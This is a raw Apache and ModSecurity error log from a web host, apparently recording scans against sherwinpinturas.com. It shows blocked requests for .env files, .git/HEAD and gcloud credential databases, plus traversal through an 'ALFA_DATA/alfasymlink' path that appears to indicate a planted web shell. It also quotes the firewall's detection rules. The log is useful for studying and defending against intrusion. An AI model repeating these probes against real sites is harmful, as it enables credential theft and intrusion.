[Sat Oct 24 11:27:46.158201 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 3.225.9.97:58973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/uevent
[Sat Oct 24 11:27:46.158819 2026] [security2:error] [pid 2653689:tid 2653689] [client 3.225.9.97:58973] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/uevent"] [unique_id "atzOcgoF0dEltz9SGyy6gwAAABU"]
[Sat Oct 24 11:27:46.158850 2026] [security2:error] [pid 2653689:tid 2653689] [client 3.225.9.97:58973] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/uevent"] [unique_id "atzOcgoF0dEltz9SGyy6gwAAABU"]
[Sat Oct 24 11:27:50.395356 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.208.11.93:10153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:10.225896 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.84.93.8:36144] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:14.134829 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 3.213.106.226:41878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/cpu1/firmware_node/eject
[Sat Oct 24 11:28:27.441915 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 85.208.96.200:50446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:30.313511 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 23.23.99.55:3008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/serial/new_id
[Sat Oct 24 11:28:34.198545 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 3.94.157.25:5156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:42.196432 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.213.213.161:34151] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:46.138568 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.235.125.129:45301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:54.335694 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 44.223.115.10:37878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:28:57.970209 2026] [authz_core:error] [pid 2653688:tid 2653688] [client 170.231.236.98:65198] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:28:58.266515 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 54.225.181.161:31142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:29:26.346639 2026] [security2:error] [pid 2607843:tid 2607843] [client 18.206.47.187:23561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/9/"] [unique_id "atzO1gSwRuPA-FjBma7K_AAAAAI"]
[Sat Oct 24 11:29:26.346691 2026] [security2:error] [pid 2607843:tid 2607843] [client 18.206.47.187:23561] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/slots/9/"] [unique_id "atzO1gSwRuPA-FjBma7K_AAAAAI"]
[Sat Oct 24 11:29:30.199620 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.84.93.8:27127] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:29:41.659513 2026] [security2:error] [pid 2607843:tid 2607843] [client 193.32.162.175:53986] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "atzO5QSwRuPA-FjBma7K_QAAAAI"]
[Sat Oct 24 11:29:41.659788 2026] [security2:error] [pid 2607843:tid 2607843] [client 193.32.162.175:53986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "atzO5QSwRuPA-FjBma7K_QAAAAI"]
[Sat Oct 24 11:29:41.660076 2026] [security2:error] [pid 2607843:tid 2607843] [client 193.32.162.175:53986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "atzO5QSwRuPA-FjBma7K_QAAAAI"]
[Sat Oct 24 11:29:52.055994 2026] [security2:error] [pid 2653688:tid 2653688] [client 195.178.110.94:24128] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "atzO8PeyrHDY8BLQAo0Z_wAAABQ"]
[Sat Oct 24 11:29:52.056363 2026] [security2:error] [pid 2653688:tid 2653688] [client 195.178.110.94:24128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "atzO8PeyrHDY8BLQAo0Z_wAAABQ"]
[Sat Oct 24 11:29:52.056656 2026] [security2:error] [pid 2653688:tid 2653688] [client 195.178.110.94:24128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/access_tokens.db"] [unique_id "atzO8PeyrHDY8BLQAo0Z_wAAABQ"]
[Sat Oct 24 11:29:53.997130 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:24154] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "atzO8dFqpkZ9T6kfBCn_PwAAAAA"]
[Sat Oct 24 11:29:53.997597 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:24154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "atzO8dFqpkZ9T6kfBCn_PwAAAAA"]
[Sat Oct 24 11:29:53.997925 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:24154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.config/gcloud/credentials.db"] [unique_id "atzO8dFqpkZ9T6kfBCn_PwAAAAA"]
[Sat Oct 24 11:30:01.674283 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 185.191.171.15:43178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/total_objects
[Sat Oct 24 11:30:03.604670 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.94:60732] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzO-wSwRuPA-FjBma7LAAAAAAI"]
[Sat Oct 24 11:30:03.604959 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.94:60732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzO-wSwRuPA-FjBma7LAAAAAAI"]
[Sat Oct 24 11:30:03.605311 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.94:60732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "atzO-wSwRuPA-FjBma7LAAAAAAI"]
[Sat Oct 24 11:30:03.649259 2026] [security2:error] [pid 2635677:tid 2635677] [client 195.178.110.94:60724] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzO-4Wurp-t0SwAQgRrGAAAAAQ"]
[Sat Oct 24 11:30:03.649547 2026] [security2:error] [pid 2635677:tid 2635677] [client 195.178.110.94:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzO-4Wurp-t0SwAQgRrGAAAAAQ"]
[Sat Oct 24 11:30:03.649880 2026] [security2:error] [pid 2635677:tid 2635677] [client 195.178.110.94:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzO-4Wurp-t0SwAQgRrGAAAAAQ"]
[Sat Oct 24 11:30:04.087527 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:60740] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzO_NFqpkZ9T6kfBCn_QAAAAAA"]
[Sat Oct 24 11:30:04.087829 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:60740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzO_NFqpkZ9T6kfBCn_QAAAAAA"]
[Sat Oct 24 11:30:04.088151 2026] [security2:error] [pid 2653819:tid 2653819] [client 195.178.110.94:60740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "atzO_NFqpkZ9T6kfBCn_QAAAAAA"]
[Sat Oct 24 11:30:04.900599 2026] [security2:error] [pid 2661979:tid 2661979] [client 195.178.110.94:60762] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atzO_Hy_mx2QzptTVg2pyAAAAAU"]
[Sat Oct 24 11:30:04.900864 2026] [security2:error] [pid 2661979:tid 2661979] [client 195.178.110.94:60762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atzO_Hy_mx2QzptTVg2pyAAAAAU"]
[Sat Oct 24 11:30:04.901243 2026] [security2:error] [pid 2661979:tid 2661979] [client 195.178.110.94:60762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atzO_Hy_mx2QzptTVg2pyAAAAAU"]
[Sat Oct 24 11:30:04.922462 2026] [security2:error] [pid 2661978:tid 2661978] [client 195.178.110.94:60754] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzO_Fb2-c1qsZ5qYR7_lAAAAAM"]
[Sat Oct 24 11:30:04.922743 2026] [security2:error] [pid 2661978:tid 2661978] [client 195.178.110.94:60754] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzO_Fb2-c1qsZ5qYR7_lAAAAAM"]
[Sat Oct 24 11:30:04.923041 2026] [security2:error] [pid 2661978:tid 2661978] [client 195.178.110.94:60754] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "atzO_Fb2-c1qsZ5qYR7_lAAAAAM"]
[Sat Oct 24 11:30:08.323577 2026] [security2:error] [pid 2661974:tid 2661974] [client 195.178.110.94:20990] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzPAFJ_jwyaxTk3PFs0egAAAAE"]
[Sat Oct 24 11:30:08.323959 2026] [security2:error] [pid 2661974:tid 2661974] [client 195.178.110.94:20990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzPAFJ_jwyaxTk3PFs0egAAAAE"]
[Sat Oct 24 11:30:08.324379 2026] [security2:error] [pid 2661974:tid 2661974] [client 195.178.110.94:20990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzPAFJ_jwyaxTk3PFs0egAAAAE"]
[Sat Oct 24 11:30:14.267671 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.216.13.10:50343] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:30:30.955298 2026] [security2:error] [pid 2653689:tid 2653689] [client 85.208.96.197:30304] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/corepack.cmd"] [unique_id "atzPFgoF0dEltz9SGyy6jQAAABU"]
[Sat Oct 24 11:30:30.955805 2026] [security2:error] [pid 2653689:tid 2653689] [client 85.208.96.197:30304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/corepack.cmd"] [unique_id "atzPFgoF0dEltz9SGyy6jQAAABU"]
